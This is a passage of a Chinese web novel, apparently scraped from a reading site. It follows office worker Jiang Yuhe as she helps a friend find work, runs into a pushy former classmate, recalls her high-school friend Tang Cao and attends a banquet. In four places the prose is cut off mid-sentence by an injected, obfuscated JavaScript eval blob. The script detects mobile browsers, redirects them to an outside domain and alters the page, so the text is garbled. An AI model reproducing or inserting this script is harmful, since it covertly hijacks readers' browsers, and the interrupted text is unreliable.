姜与荷连忙劝她:“我不是说了嘛,一切都来得及,你才晚了四年而已。你可不能还没上班就开始泄气了,别胡思乱想的。” 郑红认真地点点头,然后去照顾耀耀。 吃完晚饭,姜与荷就陪着她们去了机场。 托运办好后,她问郑红大学时候的那些证书和奖状还在不在,还有没有地方能找到电子版的? 郑红掏出手机,很快地从相册里翻出了照片给姜与荷看。她大学里参加了很多活动和比赛,活动照片和奖状都有,还有她优秀毕业生的小奖杯、学位证和毕业证……都在一个单独的相册里藏好。 她的手机屏幕上有好几条裂纹,把照片里笑容灿烂的脸分割得七零八落。 姜与荷让她把这些资料都发给自己。看了看时间,离飞机起飞还有大半个小时,鉴于郑红没坐过飞机,姜与荷催她快去安检,早点找到登机口。 分别前,郑红抱着耀耀给姜与荷深深鞠躬:“小荷,能再遇到你是我这辈子最大的幸运,实在感谢你。我一定会努力工作,早日把钱还你。” 这5万姜与荷并不打算让她还,但为免郑红有心理负担,她只能说:“不用着急,先把你们的日子过好,有存款了再想着还钱的事吧。” 她抱了抱耀耀,和她们告别。 “再见,小荷。”郑红红着眼圈,向她道别。 “小荷阿姨再见。”耀耀向她挥挥手。 “再见。”姜与荷微笑着,目送她们进了安检口。 走出机场,天已经黑了。远郊的夜空清朗平阔,姜与荷抬头看着稀疏寥落的几点孤星,感觉肩头的担子更重了。 郑红母子俩虽然离开了海城,但她们的事可没算解决完了。 锦安的工作没定下来,郑红婆家又是个不定时炸弹。她现在也想不到一个彻底的解决办法,只能先拖着。 说一千道一万,现在唯一能做的就是多攒点钱,再抱紧裴慎如的大腿。 她要转变思想观念,改进工作作风,提高工作积极性,为领导排忧解难! 第二天她定了好几个闹钟,早早到了办公室。 平时每天都有专人负责打扫,办公室里一直很干净。吴秘书桌上的文件资料都很重要,她也不敢擅自乱动,所以也不好整理。她还不知道吴秘书今天会不会来办公室,只能在座位上干等着,时不时探头看看他来没来。 还好今天他来了。 见到他的身影出现在楼梯口,姜与荷连忙倒好一杯红茶放到吴秘书的桌子上。 “吴秘书,早上好啊。”她挤出一个略带谄媚的笑容,“早上还挺冷的,刚给您倒的茶,喝一点暖暖身吧。” 许是被她这突如其来的讨好惊吓到了,吴秘书有些受宠若惊:“小姜,有什么事可以直说。” “哈,呵呵……”姜与荷尬笑两声,“就是我那个朋友的事,裴先生说可以给她一份合适的工作,她现在已经去锦安了……” “哦,她有什么要求吗?” “能有工作就很好了,哪还会有什么要求呢?她不怕苦不怕累的,就是还带着一个孩子,怕有的公司不想要。” 姜与荷连忙拿出Pad,把昨晚导进去的郑红大学里的各种奖项荣誉给吴秘书看。 吴秘书扫了几眼,点点头说:“我知道了,我发你一个联系电话,下午这人会联系你。” “好的好的,麻烦您啦。” 吴秘书在办公桌上翻了些资料,见姜与荷还没坐回自己的办公位置,反而面露踌躇,便问道:“还有什么事吗?” 姜与荷有点吞吞吐吐:“额……就是,我觉得自己的工作还有进步的空间,可以多派些任务给我。” 第一次自己找活干,她还真有些不适应。 吴秘书好像也很惊讶,扭过头挑了挑眉,斜睨她一眼:“怎么突然上进起来了。” 姜与荷干笑两声:“什么叫突然……为公司奉献是员工应该做的!” 吴秘书笑笑:“我了解了。” 回到自己的位置上,姜与荷把键盘敲得噼啪响,试图营造一种努力工作的氛围。 不过她很快就不需要演了,因为吴秘书又出去了。 多去外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507703|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面跑跑也好,强身健体,办公室坐久了肚子都大了……姜与荷给自己洗脑。 刚吃过午饭,早上吴秘书给的那个电话就打过来了。 电话那头的人很客气,向她推荐一家电商公司,规模不算太大,但是福利保障很好,公司里有员工托儿所,可以带着孩子一起上班。 姜与荷千恩万谢地挂了电话,马上联系郑红。那头也很是惊喜,没想到能有这么好的机会。至于耀耀上幼儿园的事,等她们站稳脚跟再考虑吧。 郑红的事情算暂时告一段落,接下来就看她自己了。 姜与荷并不打算每月给她转钱,但是要做好她有困难时出手相助的准备,所以她还是得开始努力奋斗。 她现在终于懂了什么叫有压力才有动力,这压力还是她自找的。其实有时候她也不太懂自己脑子里在想什么…… 她这段时间运气可真是太好了,求什么来什么。第二天中午,吴秘书就通知她准备一下,下午跟裴先生出去开会。 要去的是深云集团,一家掌管万亿美元的全球性资产管理机构。 姜与荷向吴秘书打听:“裴先生是要去向他们融资吗?” 吴秘书投来一个关爱智障的眼神:“裴先生是股东。” “噢……” 学到了,她再也不多嘴了。 还好她来这里后就自觉买了两套职业西装,不需要再换衣服。怕第一次跟老板出门出啥纰漏,她午休时候觉都没敢睡,坐上车的时候脑子还有点晕晕的。 她坐在幻影的副驾,听着身后的裴慎如和吴秘书谈一些她不太了解的事情,猛然间清醒了。 什么玩意,她怎么跟裴慎如坐一辆车了? 她瞬间感觉压力山大。她是理科生啊,不懂基金和投资,又是被临时通知随行,也没来得及看什么资料,等会需要她做些什么? 姜与荷只能竖起耳朵拼命听着后座偶尔的几句谈话,顺便在心里求神拜佛,等会可千万别出丑。她丢脸不要紧,千万不能让老板丢脸! 到达深云集团的时候,早已有许多人站在门口迎接。姜与荷自觉跟在吴秘书身后,努力装出一副扑克脸随他们走进会议室。 会议开始之后姜与荷才发现自己多虑了,专业知识是牛马打工人们需要熟练掌握的。没有人会问裴慎如基金有哪些种类,他只需要决定投资的行业和方向。 姜与荷坐在他身后奋笔疾书,准备回去买点股票试试水,万一证券市场就跟着他走呢? 会议结束,裴慎如起身离开。一行人快走到门口时,姜与荷听见了一阵吵闹声。 一个娇嗲的女声传来:“哎呀,你们就让我进去吧,我真的跟你们赵总说过了~~” 是一位漂亮娇俏的妙龄女子,举手投足媚意横生,姜与荷一瞬间觉得有点眼熟。 门口黑西装白手套,头戴耳麦的保安人员不为所动。 裴慎如身后跟着的深云高管上前示意,保安人员点点头,上前准备把她拖离门口。 “别拉我呀!很痛的~”她不肯轻易离开,眼神转到了裴慎如身上。 姜与荷没有多话,默默低头跟着裴慎如出门。没想到刚出门,就被那个女子冲上来抓住了手腕。 “姜与荷?!你是姜与荷对吧!” 嗯?!怎么回事? 裴慎如停下脚步,转身看着姜与荷,其他人也跟着把视线扫了过来。 姜与荷尴尬又慌乱地看看四周,再看看那个死死抓住自己的陌生女人…… 臣妾百口莫辩啊! 26. 高中 姜与荷努力维持镇定,甩了甩手,没甩开。 拉着她手的女人急切地喊道:“星泽高中!我们是星泽高中的同学啊!你快想想!” 星泽高中……那确实是她的母校,难道这位女士还真是她认识的人? 但是现在这种情况下,她丝毫没有叙旧的心思,难道要在裴慎如和一圈高管的围观下上演久别重逢热情拥抱吗? 她只想快点爬上幻影的副驾离开这里,回到她温暖舒适的办公室。 姜与荷挤出一个微笑:“您应该是认错人了,麻烦放开我。” 对面的女人哪肯放开:“我是金蓉蓉啊!你再想想……” 姜与荷有点生气了:“我不认识你,请你放开!” 她试图将自己的手腕抽回来,可这位金蓉蓉看着身材纤细,力气却大得惊人,拉扯间都快要把姜与荷拽过去了。 她今天穿的可是为了在裴慎如这里上班而特意斥巨资买的6厘米黑色高跟鞋,一直供在办公室里。除了买的那天试穿,今天是第二次穿,还没怎么适应身体重心的改变,被金蓉蓉一拉她感觉自己都要摔倒了。 完了完了,要是第一次被老板带出门就在众目睽睽下摔了个狗吃屎,她的职业生涯可能也就到头了…… 突然,她感觉自己被拉进了一个温暖宽阔的怀抱,同时手腕一松。 她微微抬头,看见的是裴慎如英挺俊美的侧脸。 这种死亡角度都这么帅……姜与荷不合时宜地发了点花痴。 见到裴先生亲自动手,其余人立马都紧张了起来,保安人员没再客气,直接把金蓉蓉架走了。 而这位金小姐被裴慎如推开后也一改刚才死缠烂打的作风,没再敢造次,安静老实地跟着保安走了。 裴慎如没再说什么,等姜与荷站稳后,他便松开手,转身上了车。 到了车上,姜与荷想了想,还是转过头努力地解释:“裴先生,虽然她知道我的高中和名字,但是我真的不认识她,也不知道她为什么会出现……” 裴慎如低头看着吴秘书递给他的文件,淡淡地打断了她:“你不认识的人,不用多费心。” “嗯嗯……”点点头,姜与荷扭头缩回副驾。 希望别因为这个莫名其妙的金小姐让自己在老板那留下什么坏印象。 回到办公室,姜与荷感觉自己身心俱疲,出去这一趟可把她累坏了,精神攻击比物理攻击更甚。她脱下高跟鞋,换上平底拖鞋,去盥洗室抹了把脸。 额前的细发被沾湿了一些,乱糟糟地贴在脑门上。她伸手整理,摸到了额角一个小小的疤。 她是不容易留疤的体质,这个以前不小心弄出的疤痕现在连颜色都变得浅淡,和肤色融为一体,平时不细看都发现不了。 拍了拍脸,感觉自己清醒了许多,她转身回办公室,开始完成后续的工作。 她本以为这位金蓉蓉小姐只是偶然的一个小插曲,没想到会在某天下班后,看到等在门口梧桐树下的她。 MaxMara的经典款羊绒大衣,LV新款手袋,浪漫的大波浪长卷发和精致妩媚的妆容,好一个都市丽人。 但是姜与荷毫无欣赏之意,见到这位美女仿如见到了洪水猛兽。 太可怕了……她怎么会知道这个地方的??? 这个办公地点没有任何文字标识,被一扇厚重巨大的门挡得严严实实,连地图上都没有标注,她是怎么找来的?难道是昨天她口中的那位“赵总”? 无论如何,姜与荷感觉对方来者不善。见识过这位金小姐的功力,她也并不想被缠上。 好在对方正背对着她打电话,还没发现她,姜与荷立马转身一溜烟地跑了。 这种自己什么都没干,却反而像做贼一样的感觉让她实在很不爽,回到家后就气鼓鼓地瘫在沙发上懒得动弹。 只有千日做贼的,哪有千日防贼的。这位金小姐估计会一直来蹲她,老是这么躲着也不是办法,但是她一时又想不出什么对策…… 哎,真烦。 她现在干什么都没心情,只能掏出手机漫无目的地刷着,随意地打开一个个APP又快速地划走。无意间她点开了□□,因为很久没有打开了,许多信息争先恐后地跳了出来。她正想关闭,却扫到了一条留言,来自一个熟悉又陌生的名字。 □□在她高中时候经常用,读大学后就不大上了,大家都开始用微信。□□上也很少有人会再找她,除了一个人。 她高中时候最好的朋友,也是这条留言的发送者。 她点开看了一下,这条留言来自三个月前,内容是:“阿姜,我能来找你吗?” 姜与荷没有回复,她只是放下手机,看着天花板,思绪开始飘游。 她的高中是苏城的重点高中,她拼了老命才从镇上的中学考进去,为此姜老太还高兴得请村里人吃饭,让她的小姐妹兼死对头——菊英阿婆酸得冒泡,阴阳怪气了好一阵子。 姜与荷非常珍惜这个来之不易的机会,每天就在教室里默默地努力读书。 这个重点高中里有很多家境优越、非富即贵的孩子,和姜与荷这样只有高考一条路的人不同,他们有更多选择、更多路子,许多人甚至已经定好要去国外哪所大学,所以并不需要多么认真地学习,他们的生活是普通学生想象不到的多姿多彩。 他们和姜与荷这样乡下农村出来的孩子是截然不同的两个群体,双方很少产生什么交集,也互相不太理解,就算在一个教室里上课也仅仅是维持稀薄平淡的同学关系。 姜与荷对此还是比较满意的,她对高中生活的期许就是安安稳稳考上一个好大学,别出什么幺蛾子,也别给姜老太惹麻烦。 家境优越的小群体中大部分人忙着自己的各种活动,对于其他同学并不关注,但也总有那么几个人个性恶劣,会排挤欺负家境不好的同学。 姜与荷当时觉得这些人好可怕,他们的嗅觉比狗还灵敏,总能一下子找到一群人中最好欺负的那个人,又能无师自通地钻各种规则的漏子,让自己全身而退,或者吃点不痛不痒的处分。 虽然碍于学校,他们并不能做得像电影电视里那么过分,但是要弄碎青春期孩子敏感脆弱的自尊心,实在是一件太过容易的事情。 姜与荷虽然家境也不怎么好,但可能因为她是本地人,并没有被选为目标。而她的高中里有一些家庭困难、全靠自己的聪明和努力考进来的外地学生,她那位朋友就是其中之一。 她叫唐草。 唐草实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517714|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在是一个聪明的女孩子,她上课经常睡觉,因为下课后要去打工到深夜,即使这样,她的数理化成绩依然常年保持年级前三,姜与荷不知道有多羡慕。 姜与荷自己记忆力很强,但是数理化方面天分不算很高。之所以选理科,纯粹是因为理科好找工作。她课后不知道做了多少卷子,才算弥补上一点天分的不足。 她们友谊的开始,就是在唐草因为名字而被开恶劣的玩笑时,姜与荷叫来了老师为她解围。 而她们友谊的破裂,则是因为唐草放弃考大学,选择跟兼职时认识的男人去大城市打拼。 她们俩不同班,姜与荷是在高考后才被她告知这个消息的。 知道唐草根本没去高考时姜与荷气疯了,大骂了她一通,还要去找那个男人算账。唐草死活不肯带她去,只是和她说自己想得很清楚,让姜与荷尊重她的选择。 姜与荷破口大骂:“你清楚个鬼啊!你还是个未成年呢!我要去告他!!” 唐草因为聪明,家里又想省钱,所以跳级上的学,高三那年刚满17岁。 唐草低着头说:“阿姜,我知道你是为我好,但是也请你理解我,我只是想过自己喜欢的日子。” “你喜欢的日子,在流水线上打工吗?!你这么聪明,以后能当科学家、当工程师!进大公司赚大钱!你知不知道!” “……跟喜欢的人在一起,就是我喜欢的日子。” 唐草没有抬头,也没有松口。 那天她们吵了一天,准确地说,是姜与荷单方面地吵。 唐草没有回嘴,默默听着姜与荷大骂,却也始终没有动摇。 她好像知道自己做得不对,却也没有改正的意思。 姜与荷第一次知道自己绝顶聪明的朋友,原来是个如此固执又愚蠢的人。 吵到最后姜与荷喉咙哑了,人也真的累了。她离开了唐草狭小破旧的出租屋,最后说了句:“随便你。” 此后她们就再没见过。 唐草只有时会在□□上和她联系,她也不咸不淡地回两句。 对于唐草放弃高考的选择,她始终耿耿于怀,有一股气憋在心里。每次看到唐草的头像,那种气愤又要涌上心头,所以她都不想跟她多聊。 就像农民伯伯见不得一块好地荒着,她也见不得唐草那么好的天赋被浪费。康庄大道她不走,非要往荆棘小路上钻,这不是脑子有病是什么? 她觉得自己开始讨厌唐草,更讨厌那个拐走她的黄毛。 姜与荷没有问过她过得怎么样,但想来不太好。 唐草偶尔会问她借钱,也不多,只是一两百。虽然对于生活费不算宽裕的姜与荷来说也不算小钱,但每次她都会尽量借,唐草也每次都会隔几天就还她。 她□□渐渐不用了,再加上生活环境的不同,大学期间她们的联系越来越少,到她大四时彻底没了联络,直到今天她无意中看到这条留言。 姜与荷想了半天,那股熟悉的气愤感好像又要涌上心头。 她烦躁地把手机扔远,跑去洗澡。 洗漱完躺到床上,她习惯性地睡前刷会手机。 刷了半天,她还是点开了□□,在对话框里打字。 “我在海城。” 27. 奋斗 今天一大早,姜与荷就问周英然中午有没有空,想向她请教如何成为一个优秀的奋斗逼。也挺凑巧,周英然估摸了一下,中午能挤出个一小时左右,所以俩人就约了一个咖啡厅吃简餐。 姜与荷早早坐在卡座里,看约的时间快到了,就点了两杯咖啡。过了一刻钟周英然才到,她迅速点了一份沙拉和三明治,拿起咖啡喝了一口就瘫坐在沙发里:“抱歉,突然要交份报表。” 这间咖啡厅离观声也就十几分钟的路程,周英然却一脸刚从绿皮车上下来的风尘仆仆。姜与荷越看越灰心,垮着个脸搅拌着面前的咖啡,精致的拉花早已混入棕白色的液体,无迹可寻。 这里的简餐上得很快,周英然拿起叉子就开吃,边吃边问:“你受什么刺激了,突然要奋斗?” 姜与荷幽幽叹了口气:“唉,现在负担重啊……” “你网贷了?” “我只存钱不借钱好吗!” “那你咋了?” “就是感觉自己现在太无能了,随便碰上点事就没办法。” 周英然冷笑两声:“你以为多挣到点钱就能有办法吗?” “有钱总比没钱好一点。” 周英然点点头,表示认可,随即又说:“你现在的薪水难道还不够高?” 她吃了两口沙拉,又抬头补了一句:“对比你的工作量来说。” 姜与荷有点跳脚:“别这么mean好吧!在那上班我也很累的,心累!” 她叹了口气,有点惆怅:“我本来只想着回老家躺着,村子里花钱地方也少,攒个一百万够够的了。现在感觉人生哪有那么容易计划,根本不知道什么时候会碰上什么事。” “放心,你都能在裴先生身边工作了,要挣钱还不容易。” 姜与荷微微前倾,一脸八卦地问:“你说,像吴秘书那样的,工资能有多少啊?” 周英然白她一眼,嫌弃地说:“什么工资,你知道人家拿的是什么?” “……年薪?” “股份!” 周英然对她的迟钝有点气急败坏:“你也不想想,吴秘书那背景和履历,大学时候都能做出Around,愿意跟着裴先生,能是图那点年薪?” “嗯……A、Around是什么?”姜与荷一脸“你怎么知道这么多?”的疑惑。 周英然白眼要翻到天上去了:“你脑子里能不能装点有用的东西?Around是吴铮哈佛没毕业就做出的成功的线上社交平台,后来被scene收购了。也是因为这次收购,吴铮才有机会为裴先生工作。” 其实姜与荷也不知道scene是啥,但她不敢说,只能点头附和:“原来吴秘书这么厉害啊。” 周英然瞄了她一眼,叹了口气:“你知道职场成功的要素吗?” “你说你说,我记着。”姜与荷掏出一本自己珍藏许久却没写过一个字的手帐本。 她很喜欢买文具,但用的不多。认真学习的时候她只需要一叠草稿纸和一支黑笔,不用学习的时候她又觉得没什么值得写的,因此家里囤了不少全新的文具。读书时候她只买点漂亮便宜的本子,工作后手头宽裕了些,就开始买真皮手帐本。 好在她一向是个懂得节制的人,用不上的东西,买几本过过瘾就好。这次是她看职场达人们的视频,基本都有一本随身手账本,配各种钢笔,她家里正好有现成的,这不巧了吗,终于能用上了。 她推开面前的餐盘,美滋滋地打开本子,准备记录。 “第一,抱对大腿跟对人。” 她好像没有这方面的问题,毕竟她上头只有吴秘书,想找别的大腿也找不到。 “第二,及时掌握公司动态,做一个对你的领导有用的人。” 嗯嗯,有道理。姜与荷写完了抬起头,看着周英然:“小英姐,我看你跟其他同事关系也不怎么样啊……” 周英然吃了口沙拉:“只要你有信息渠道,也不一定非要跟同事搞好关系。” 信息渠道?难道是…… “张牛?” 周英然点点头。 确实,张牛这种没啥存在感又爱八卦的老好人,谁都能聊上一会。姜与荷想起来刚进观声那会,张牛每天摸鱼时候就跟她八卦同事间的各种爱恨情仇,老底都快给他抖光了。 6啊小英姐,藏得挺深啊。 可惜,她在那边可没老张这样的好朋友,至今能算得上的熟悉的同事就是吴秘书。 等了半天没见周英然继续说,姜与荷疑惑地问:“小英姐,就这么两点吗?” “你要是第一条做得够好,第二条也可以不看。” “这也行?!” “你也上了几年班了,这还不知道?” 姜与荷感觉有点丢人:“咳……咳,我还没有到需要了解这些知识的等级,不好意思。” 周英然的饭吃完了,她拿起咖啡喝了一口:“其实对你来说,保持现状可能会比较快乐,傻人有傻福。” 姜与荷摇摇头:“有傻福的才能一直当傻人。” 周英然听了一愣,摇头笑了两声,然后起身和她告别。 回去的路上,姜与荷觉得自己要改变下思路,主动出击交点朋友?表面朋友也是朋友,至少混个朋友圈的点赞之交吧。 可惜,万事开头难,尤其对于姜与荷这种毫无社交天分的宅人。 这里的人几乎都是一副优雅精英相,言谈举止有礼有节,但内里却是生人勿近的冷淡疏离。姜与荷很清楚这一点,因此也更难迈出第一步。 其实姜与荷刚刚空降到吴秘书办公室时,也引起了一阵同事间的讨论,都以为她有什么神秘背景。但后来见她只是每天窝在办公室里做点杂活,也没见吴秘书特殊关照她,便也没人再对她有什么兴趣。工作上遇到的时候微笑沟通,其余时候井水不犯河水,仅此而已。 做了好几次心理建设,姜与荷也不知道该找谁搭话,更不知道如何开口。最后她还是两手一摊,随遇而安。 这里的餐厅很是豪华,因为任何时候都有工作的人在,所以24小时都有专业厨师随时待命。姜与荷内心烦躁,虽然刚吃完午饭,但也不想回办公楼,就跑到侧翼的餐厅里弄了点下午茶。 她坐在靠窗的位置上,秋日的暖阳透过玻璃穹顶洒到身上,让她舒服得想睡觉。她正眼皮打架呢,模模糊糊听到一阵哽咽的声音隔着帷幕传来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534463|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,没事的妈妈,我要回去工作了。”是一个年轻甜美的女声,就是带着点哭腔。 特意躲到这里,应该是不想被人看见自己在哭吧。姜与荷怕她发现了自己会尴尬,打算悄咪咪起身,换个远点的地方。 可惜她被太阳晒得迷迷瞪瞪的脑子不够用,忘记了自己腿上还放着一碟小甜品。随着她站起的动作,“当啷”一声,昂贵的骨瓷砸到大理石地面上,发出清脆的碎裂声。 边上的声音戛然而止,姜与荷此刻的心情只有无语。 她蹲下身,想着快速收拾下东西然后走人。没想到帷幕动了动,里面的人走了出来。 “你别用手捡呀……” 但是已经来不及了,姜与荷的手指被锋利的碎片刮出一条血痕。 她真是服了自己了……懊恼地站起,她发现来人是一个有点眼熟的女孩子。 圆圆的脸颊大大的杏眼,年轻娇嫩的皮肤,是一个很可爱的女孩,应该和她是同一层的。就是刚刚哭过,眼睛稍微有点红,看着很惹人怜爱。 姜与荷试图缓解下尴尬的气氛:“你好啊,我还以为这里没人呢……” 女孩摇了摇头:“没事的,这里又不是我一个人的,我还打扰你了呢。” “你还好吧?” “嗯嗯,好多了。你是姜小姐吧?” “你认识我?” “大家都知道你呀,还以为你……”似乎注意到自己说漏嘴,她紧急刹车。 姜与荷装作不知,和餐厅的工作人员说了情况,给手指冲了冲清水,然后和她一起回办公楼。 似乎是因为心虚,路上女孩子热情地跟她聊天。短短一路姜与荷就知道她叫韩小虹,在剑桥读经济,家里妈妈求爹爹告奶奶给她拿到了在这里实习的机会,刚才因为被前辈骂了而躲在餐厅里哭。 刚进入职场,因为各种知识的缺失而被骂,这种经历姜与荷也有过。但她还没有躲着偷偷哭过,因为她脸皮厚。 本想给韩小虹传授点经验,但是看着她天真娇嫩的脸,姜与荷还是什么都没说。也许这是她长到这么大第一次被人凶吧,这不是靠学习就能积累到的经验。 不过听她说读的是经济……姜与荷问了问:“你可以介绍点经济学的书给我吗?我不是这个专业的,最近需要学点经济方面的知识。” “好呀,我的教材也在我身边呢,明天带给你!” “你那个教材,是英文的吗……” “对啊。” “你推荐点国内的教材给我吧,我自己买就行……” “嗯……我想想……” 韩小虹推荐了几本适合入门的书籍,姜与荷坐在办公室里翘起食指,用一个别扭的姿势从网上下了单。 翘起食指是因为那里有道伤口,而她和韩小虹都没有创可贴。她看看伤口觉得不深,就懒得再买了,反正过一会就愈合了。 过了一会伤口还没愈合,吴秘书却进来了,递过来一份文件要她处理。她接过来的时候一时不慎,用带着伤口的手接过,结果就是文件上沾到了她的血。 姜与荷看到的时候都愣了,什么情况? 这可千万别是什么仅此一份的机密文件啊! 28. 宴会 吴秘书见状,也是难得的一愣。姜与荷见他这个反应,内心更是绝望,看样子这份文件真的很重要……这可怎么办? 在她不知所措的时候,倒是吴秘书先开口了:“你的手怎么了?” 这种时候了还先关心下属,姜与荷第一次发现吴秘书是这么暖心的领导,忙不迭地挽回自己的错误:“我没事的!就是这份文件……我能再打印一份吗?” 吴秘书让她别着急:“文件不要紧,先处理下你的手吧,在这里弄伤的吗?” 姜与荷有点紧张:“在餐厅……我不小心打碎了盘子……” 餐厅里的餐具都是成套的精美骨瓷,价值不菲。而且打碎了一个,剩下的也用不了了。不知道会不会要她赔啊……姜与荷开始担心自己的钱包。 吴秘书拿起座机打了个内线电话,很快有人带着医药箱过来了。姜与荷没想到会这么兴师动众,拒绝了对方为自己处理伤口,她拿着碘伏棉签迅速消了毒,贴了个创可贴。谢过之后,对方便带着医药箱走了。 “这点小伤,过会就好了,您太客气了……”姜与荷很不好意思。 吴秘书微微一笑:“应该的,身体健康最重要。” 他很快拿着文件又走了,走之前还给姜与荷放了假,让她回家休息,把姜与荷感动得一塌糊涂。 蹭上裴慎如的运势后果然不同啊,这么好的上司居然被她碰上了……她一定会抱好大腿,为吴秘书效犬马之劳! 虽然赚到了半天假,但是她也没打算回家。王娇娇那她都好几天没去了,正好过去刷个脸。怎么也是一份收入,这么好的兼职她可不想丢。 王娇娇现在已经是个大主播了,除了运营和方向给力,她的地产大小姐身份也是一个大爆点,给她吸引了一大波流量,和她平易近人的搞笑风格形成反差,吸粉无数,现在俨然已是互联网新晋公主。 姜与荷还问过她为什么不一开始就打这个名号,被王娇娇鄙视了:“你不懂,就得让他们自己来挖才有劲儿呢,就要这来来回回的拉扯感~~我要是自己喊自己地产公主,绝壁被骂翻了,我可不想走黑红路线。” 看着一脸得意的王娇娇,姜与荷不禁感叹,会做生意的人脑子是灵啊~~~ 自觉主业副业都抱对了大腿跟对了人,姜与荷美滋滋地认为自己的事业马上就要起飞了。那句话怎么说的来着,运气也是实力的一种嘛! 王娇娇看看手表,拉着姜与荷往外走:“我晚上有个宴会,你陪我一起去吧!先去挑挑衣服。” “电视上那种要穿礼服裙的吗?我没参加过啊,你要不换个人陪你?” 姜与荷去过最好的宴席就是别人家的婚宴,她怕自己什么都不懂,弄巧成拙给王娇娇惹麻烦。而且她本身就不喜欢社交场合,更别说这种全场只认识王娇娇一个人的宴会,想想都觉得尴尬。 王娇娇仍然热情邀请:“哎呀没事儿,不用你干啥,你就自己吃吃东西就行,那家的甜品很棒的,预订都订不到哦~” 行吧行吧,反正她晚饭也没着落呢。 她本来以为王娇娇会带她去礼服店,没想到是带她回了家。地产巨头的家规模自然不小,她跟着王娇娇穿过宽阔的庭院、客厅、房间,到达她巨大的衣帽间。 王娇娇比她高了几公分,不过俩人身材都挺修长,相差不大。她指着一柜子的高定礼服对姜与荷说:“你挑自己喜欢的试试,要是不合适我再让店里送点成衣过来。” 说完她又指了指边上的一堆品牌图册,示意姜与荷不满意的话可以在上面挑挑:“现在这些衣服都出得越来越丑了,你凑合看看。” 姜与荷只是去蹭个晚饭的,哪还会有什么要求,随手指了条亮晶晶的裙子。 这是一条掐腰吊带长裙,完美地展现了姜与荷的纤腰丰胸,和线条柔美的肩颈。水绿色的裙摆微微散开,闪着细碎的钻光,行动间如春水粼粼。配套的还有一条披肩,往身上一裹,很好地缓解了姜与荷初次穿礼服的紧张与不适。 姜与荷作为配角并不想多折腾,点点头就确认是这条了。好在虽然是按照王娇娇尺寸定做的礼服,姜与荷穿着也还算合适,只稍微有几个地方略显宽松,王娇娇马上让造型师修改。 是的,她家里还有个妆造团队。 王娇娇也快速挑好了礼服,化妆师就开始上场。姜与荷想说自己用不着这么认真的妆造,被王娇娇按下了:“你就坐着吧,人家是包月的,你不化也不能给我省钱。” 行吧行吧,不蹭白不蹭。 终于折腾完了,王大小姐照照镜子,对里面的明艳美人很是满意。 她扭过头扫了姜与荷一眼,打趣道:“哎哟,这裙子像是给你造的呀,哪来的出水芙蓉啊~~~” 不太习惯被人调戏的姜与荷有点局促,只能催王娇娇:“赶紧走吧,迟到了怎么办。” “走了走了。” 王娇娇带着她和一群助理下楼,没想到在客厅会碰到她的弟弟。 那是一个皮相不错的年轻人,和王娇娇有些像,浓眉大眼、个子也高,只是整个人的气质有种和外表不符的油腻。 看到她们下来,他眼前一亮:“哟,姐,这位美女没见过啊,怎么也不给你弟弟介绍下。” 王娇娇没好气地骂他:“傻逼,这不是你能碰的!” 没多理睬他,王娇娇拉着姜与荷直接出门。两辆保姆车开到门口,一行人陆续上车。姜与荷坐下后看了看车窗外,王娇娇的弟弟正面色不善地看着她们的方向。 车很快开走了,姜与荷也转回视线。车内很宽敞,王娇娇似乎是被她弟弟气到了,表情很烦躁,皱着眉在手机上疯狂打字。 别人的家事,她也不好瞎掺和,所以她也掏出手机开始刷弱智小视频。 时间过得飞快,在她笑得快卡粉前终于到了目的地。姜与荷抬头一看,门口标着“海若公馆”。 天色已暗,她跟着王娇娇往里走,越走越觉得这里和王娇娇的家还挺像。只不过王家是新造的,而这里虽然修缮得很好,但依然有着遮不住的岁月的味道,或许已有百年了。 走了一会终于进入宴会厅,里面已经人头攒动,觥筹交错,外面的冷风一丝丝都吹不进气派的大门。 有侍者上前拿过她们的外套挂好,王娇娇给她拿了一杯酒就让她随便玩。 她第一次来这种地方,难免有些怕生,一开始只是跟在王娇娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544641|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,看她跟各路人马熟稔地热情招呼、商业互夸,顺便介绍一下姜与荷这位生面孔。 